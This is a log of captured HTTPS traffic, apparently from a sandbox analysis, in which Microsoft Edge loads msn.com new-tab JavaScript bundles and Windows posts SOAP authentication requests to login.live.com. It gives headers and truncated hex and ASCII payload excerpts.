2024-04-23 21:02:32 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-23 21:02:32 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 23 Apr 2024 21:01:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C502_SN1 x-ms-request-id: 3879c060-9023-465c-b94c-a57ed9cf421b PPServer: PPV: 30 H: SN1PEPF0002F16C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 23 Apr 2024 21:02:32 GMT Connection: close Content-Length: 11392
2024-04-23 21:02:32 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	49955	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:32 UTC	495	OUT	GET /bundles/v1/edgeChromium/latest/pill-wc.87e5c35451d51ad2c9c1.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:32 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: y6JLz/3g/+WUMwAt1N1YoQ== Last-Modified: Wed, 17 Apr 2024 19:30:48 GMT ETag: 0x8DC5F14E2A23A2B Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 5f740c3d-401e-00f7-1cfd-901ee5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:32 GMT Content-Length: 21461 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402751463,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017fe7 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906152.18017fe7 Vary: Origin
2024-04-23 21:02:32 UTC	15230	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 70 69 6c 6c 2d 77 63 22 5d 2c 7b 37 36 33 37 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 6f 2e 72 28 74 29 2c 6f 2e 64 28 74 2c 7b 50 69 6c 6c 44 65 73 69 67 6e 50 72 6f 70 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 7d 2c 50 69 6c 6c 57 43 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 53 7d 2c 50 69 6c 6c 57 43 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["pill-wc"],{76376:function(e,t,o){o.r(t),o.d(t,{PillDesignProps:function(){return h},PillWC:function(){return S},PillWCStyles:function(){retu
2024-04-23 21:02:32 UTC	6231	IN	Data Raw: 35 20 38 2e 31 36 35 37 38 20 31 35 2e 39 38 31 32 43 38 2e 33 37 31 35 38 20 31 35 2e 39 34 36 32 20 38 2e 35 36 38 34 38 20 31 35 2e 38 34 36 37 20 38 2e 37 32 33 36 39 20 31 35 2e 36 38 32 36 4c 31 34 2e 37 39 33 31 20 39 2e 32 36 35 33 36 5a 22 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 2f 3e 3c 2f 73 76 67 3e 27 29 7d 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 63 72 6f 6c 6c 2d 74 65 78 74 22 3e 24 7b 65 2e 73 74 72 69 6e 67 73 2e 65 78 70 6c 6f 72 65 53 74 6f 72 69 65 73 4d 6f 72 65 54 65 78 74 7d 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 2f 66 6c 75 65 6e 74 2d 62 75 74 74 6f 6e 3e 60 29 28 65 29 7d 3c 2f 6f 75 74 70 75 74 3e 3c 2f 64 69 76 3e 60 2c 4e 3d 65 3d 3e 48 2e 64 79 60 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 69 6c 6c 2d 72 6f 6f 74 2d 77 72 61 Data Ascii: 5 8.16578 15.9812C8.37158 15.9462 8.56848 15.8467 8.72369 15.6826L14.7931 9.26536Z" fill="white"/></svg>')}<span class="scroll-text">${e.strings.exploreStoriesMoreText}</span></div></fluent-button>`)(e)}</output></div>`,N=e=>H.dy`<div class="pill-root-wra

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.4	49957	40.126.29.9	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:34 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-23 21:02:34 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-23 21:02:34 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 23 Apr 2024 21:01:34 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C502_SN1 x-ms-request-id: c69a971c-368e-4c50-a087-90a6c89898f5 PPServer: PPV: 30 H: SN1PEPF0002F033 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 23 Apr 2024 21:02:33 GMT Connection: close Content-Length: 11392
2024-04-23 21:02:34 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.4	49958	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:34 UTC	498	OUT	GET /bundles/v1/edgeChromium/latest/SignInData.70016e6eaece05b76578.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:34 UTC	1153	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: HwC3G+im+1Zhj2S+5nFElw== Last-Modified: Tue, 23 Apr 2024 19:32:46 GMT ETag: 0x8DC63CC27896E7A Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 6d1fab9b-101e-00ae-69b5-950ec5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:34 GMT Content-Length: 8264 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402752799,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801851f Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906154.1801851f Vary: Origin
2024-04-23 21:02:34 UTC	8264	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 53 69 67 6e 49 6e 44 61 74 61 22 5d 2c 7b 34 37 37 38 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6e 2e 72 28 74 29 2c 6e 2e 64 28 74 2c 7b 54 68 65 6d 65 50 69 63 6b 65 72 42 75 74 74 6f 6e 54 65 6d 70 6c 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 76 7d 2c 54 68 65 6d 65 50 69 63 6b 65 72 57 43 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 67 7d 2c 54 68 65 6d 65 50 69 63 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["SignInData"],{47788:function(e,t,n){n.r(t),n.d(t,{ThemePickerButtonTemplate:function(){return v},ThemePickerWC:function(){return g},ThemePic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.4	49960	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:35 UTC	499	OUT	GET /bundles/v1/edgeChromium/latest/sticky-peek.8a52a328061c5a4af40c.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:35 UTC	1153	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: KW/7r92B24XzkZ+2bAysBA== Last-Modified: Wed, 17 Apr 2024 19:30:51 GMT ETag: 0x8DC5F14E44CF8AC Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 3570f99c-901e-009a-71fd-9083dc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:35 GMT Content-Length: 4392 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402753036,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801860c Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906155.1801860c Vary: Origin
2024-04-23 21:02:35 UTC	4392	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 73 74 69 63 6b 79 2d 70 65 65 6b 22 5d 2c 7b 32 32 36 33 32 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 69 2e 72 28 74 29 2c 69 2e 64 28 74 2c 7b 53 74 69 63 6b 79 50 65 65 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 7d 2c 53 74 69 63 6b 79 50 65 65 6b 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 44 7d 2c 53 74 69 63 6b 79 50 65 65 6b 54 65 6d 70 6c 61 74 65 3a Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["sticky-peek"],{22632:function(e,t,i){i.r(t),i.d(t,{StickyPeek:function(){return b},StickyPeekStyles:function(){return D},StickyPeekTemplate:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.4	49962	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:35 UTC	507	OUT	GET /bundles/v1/edgeChromium/latest/waterfall-view-feed.da1860afbfeb79eba90c.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:35 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: v3zMob+napm0/Prkpp0JSw== Last-Modified: Mon, 22 Apr 2024 19:59:13 GMT ETag: 0x8DC6306AF297322 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 88047514-c01e-0013-67ef-94a79a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:35 GMT Content-Length: 35299 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402753279,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180186ff Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906155.180186ff Vary: Origin
2024-04-23 21:02:35 UTC	15230	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 77 61 74 65 72 66 61 6c 6c 2d 76 69 65 77 2d 66 65 65 64 22 5d 2c 7b 31 39 36 32 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 69 2e 72 28 74 29 2c 69 2e 64 28 74 2c 7b 54 6f 6f 6c 69 6e 67 49 6e 66 6f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 65 7d 2c 57 61 74 65 72 66 61 6c 6c 56 69 65 77 46 65 65 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 48 7d 2c 57 61 74 65 72 66 61 6c Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["waterfall-view-feed"],{19624:function(e,t,i){i.r(t),i.d(t,{ToolingInfo:function(){return ie},WaterfallViewFeed:function(){return H},Waterfal
2024-04-23 21:02:35 UTC	9346	IN	Data Raw: 33 33 70 78 7d 2e 6c 6f 61 64 69 6e 67 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 70 61 64 64 69 6e 67 3a 38 70 78 20 30 20 31 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 6e 65 75 74 72 61 6c 2d 66 6f 72 65 67 72 6f 75 6e 64 2d 72 65 73 74 29 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 72 69 76 65 72 2d 73 65 6e 74 69 6e 65 6c 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 62 6f 74 74 6f 6d 3a 30 3b 6c 65 66 74 3a 30 3b 72 69 67 68 74 3a 30 3b 7a 2d 69 6e 64 65 78 3a 2d 31 7d 60 2c 69 65 3d 7b 65 78 70 65 72 69 65 6e 63 65 43 6f 6e 66 69 67 53 63 68 65 6d 61 3a 75 6e 64 65 66 69 6e 65 64 7d 3b 6e 2e 44 2e 64 65 66 69 6e 65 28 72 2e 48 2e Data Ascii: 33px}.loading-placeholder{padding:8px 0 12px;font-size:16px;font-weight:600;color:var(--neutral-foreground-rest);text-align:center}.river-sentinel{position:absolute;bottom:0;left:0;right:0;z-index:-1}`,ie={experienceConfigSchema:undefined};n.D.define(r.H.
2024-04-23 21:02:35 UTC	10723	IN	Data Raw: 72 69 76 65 72 53 65 63 74 69 6f 6e 43 61 72 64 50 72 6f 76 69 64 65 72 43 6f 6e 66 69 67 2e 69 6e 69 74 69 61 6c 52 65 71 75 65 73 74 2e 66 65 65 64 4e 61 6d 65 3d 22 66 6f 6c 6c 6f 77 69 6e 67 22 2c 72 2e 72 69 76 65 72 53 65 63 74 69 6f 6e 43 61 72 64 50 72 6f 76 69 64 65 72 43 6f 6e 66 69 67 2e 69 6e 69 74 69 61 6c 52 65 71 75 65 73 74 2e 74 69 6d 65 6f 75 74 4d 73 3d 33 65 33 2c 72 2e 72 69 76 65 72 53 65 63 74 69 6f 6e 43 61 72 64 50 72 6f 76 69 64 65 72 43 6f 6e 66 69 67 2e 69 6e 69 74 69 61 6c 52 65 71 75 65 73 74 2e 73 65 6e 64 46 52 45 53 65 65 6e 43 6f 75 6e 74 3d 21 31 2c 64 65 6c 65 74 65 20 72 2e 72 69 76 65 72 53 65 63 74 69 6f 6e 43 61 72 64 50 72 6f 76 69 64 65 72 43 6f 6e 66 69 67 2e 69 6e 69 74 69 61 6c 52 65 71 75 65 73 74 2e 63 6f 6e Data Ascii: riverSectionCardProviderConfig.initialRequest.feedName="following",r.riverSectionCardProviderConfig.initialRequest.timeoutMs=3e3,r.riverSectionCardProviderConfig.initialRequest.sendFRESeenCount=!1,delete r.riverSectionCardProviderConfig.initialRequest.con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.4	49963	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:36 UTC	503	OUT	GET /bundles/v1/edgeChromium/latest/weather-card-wc.6e8a0415b27366196d3f.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:36 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: bhlnakcWkYLpBxzc0rZguA== Last-Modified: Tue, 23 Apr 2024 19:32:45 GMT ETag: 0x8DC63CC26EB9650 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 6d91a59b-401e-00db-2cb5-957bcf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:36 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402753565,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801881d Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906156.1801881d Vary: Origin
